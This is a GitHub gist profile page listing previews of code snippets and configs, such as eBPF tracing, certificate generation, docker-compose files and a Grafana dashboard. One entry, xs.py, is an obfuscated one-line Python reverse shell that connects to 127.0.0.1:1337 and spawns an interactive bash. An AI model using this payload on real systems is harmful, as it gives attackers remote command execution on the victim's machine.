Skip to content

Instantly share code, notes, and snippets.

View ii64's full-sized avatar
🎯
Focusing

Maple ii64

🎯
Focusing
View GitHub Profile
@ii64
ii64 / mcc_mnc.json
Last active April 19, 2026 15:37
List of mcc, mnc, iso, country, country_code - source: http://www.mcc-mnc.com/
[
{
"mcc": "289",
"mnc": "88",
"iso": "ge",
"country": "Abkhazia",
"country_code": "7",
"name": "A-Mobile"
},
{
@ii64
ii64 / poc.ps1
Last active July 31, 2025 22:03
Enable Explorer Recycle Bin for Netowrk/Shared Folder
# Source: https://social.technet.microsoft.com/forums/windows/en-US/a349801f-398f-4139-8e8b-b0a92f599e2b/enable-recycle-bin-on-mapped-network-drives
# New-Item -Name "test" -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions"
$targGUID = "{" + [guid]::NewGUID().ToString().ToUpper() + "}"
echo "**Using GUID: $targGUID"
echo "** FOLDER DESCRIPTIONS"
$kPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions"
New-Item -Path $kPath -Type REG_SZ -Name $targGUID -Force
@ii64
ii64 / make-local-cert.sh
Created December 5, 2024 16:29 — forked from jdeathe/make-local-cert.sh
Generate a Root CA + Intermediate CA for local (internal) use on Mac OSX using cfssl and add the intermediate certificate to your keychain so it can be trusted by your local browser.
#!/usr/bin/env bash
# REF: https://github.com/cloudflare/cfssl
# Change working directory
cd -- "$(
dirname "${0}"
)" || exit 1
readonly CA_ROOT_CERT_KEY="ca-root"
@ii64
ii64 / main.go
Created February 16, 2022 22:00
Go ebpf tracepoint example of kmem:mm_page_alloc , syscalls:sys_enter_open, and syscalls:sys_enter_openat
//go:build linux
// +build linux
// This program demonstrates attaching an eBPF program to a kernel tracepoint.
// The eBPF program will be attached to the page allocation tracepoint and
// prints out the number of times it has been reached. The tracepoint fields
// are printed into /sys/kernel/debug/tracing/trace_pipe.
package main
import (
@ii64
ii64 / docker-compose.yml
Last active March 30, 2024 06:58
Docker / Swarm usage example of ExternalDNS (https://github.com/ii64/external-dns docker-engine source driver)
services:
external-dns:
image: "ii64/external-dns:v0.12.2-docker-mini"
container_name: external-dns
user: root
environment:
- CF_API_KEY=XXX
- CF_API_EMAIL=XXX
volumes:
- "/var/run/docker.sock:/var/run/docker.sock:ro"
@ii64
ii64 / internet_tepat.go
Last active October 4, 2023 04:15
Internet Tepat logs your original URL and use your MSISDN for AD tracking.
package main
import (
"bytes"
"encoding/json"
"flag"
"fmt"
"io"
"net/http"
"net/http/httputil"
@ii64
ii64 / MySQL Schema Growth-1692849650390.json
Last active August 28, 2023 02:41
Grafana Dashboard - MySQL Schema Growth - Prometheus - mysqld_exporter
{
"__inputs": [
{
"name": "DS_PROMETHEUS",
"label": "Prometheus",
"description": "",
"type": "datasource",
"pluginId": "prometheus",
"pluginName": "Prometheus"
}
@ii64
ii64 / docker-compose.yml
Created April 23, 2023 11:32
Unpopular docker compose YAML template
version: '3'
x-tpl-nginx-lb: &tpl-nginx-lb
image: nginx:stable-alpine
restart: unless-stopped
expose: [ 80 ]
entrypoint:
- sh
- -c
- |
@ii64
ii64 / xs.py
Last active April 6, 2023 08:40
one-line back-connect Python script
(lambda xx:({0:list(map(lambda i:[0,lambda x:xx.update({2:(x[1]('socket'),x[1]('os'),x[1]('subprocess'))}),lambda x:(x.update({3:x[2][0].socket(x[2][0].AF_INET,x[2][0].SOCK_STREAM)}),x[3].connect(x[4])),lambda x:(list(map(lambda i:x[2][1].dup2(x[3].fileno(),i),range(3))),x[3].send(x[5]),x[2][2].call(x[6]))][i](xx),range(1,5)))}))({6:['bash','-i'],5:b'connected',4:('127.0.0.1',1337),1:__import__})
@ii64
ii64 / acrordrc2020.pol
Created March 10, 2023 12:21 — forked from N0rbert/acrordrc2020.pol
PlayOnLinux script to install Adobe Acrobat Reader DC 2020 (should be lauched after installation using script for 2015)
#!/usr/bin/env playonlinux-bash
[ "$PLAYONLINUX" = "" ] && exit 0
source "$PLAYONLINUX/lib/sources"
TITLE="Adobe Acrobat Reader DC"
PREFIX="AdobeAcrobatReaderDC"
WINEVERSION="4.0.3"
EDITOR="Adobe Systems Inc."
GAME_URL="https://acrobat.adobe.com/us/en/products/pdf-reader.html"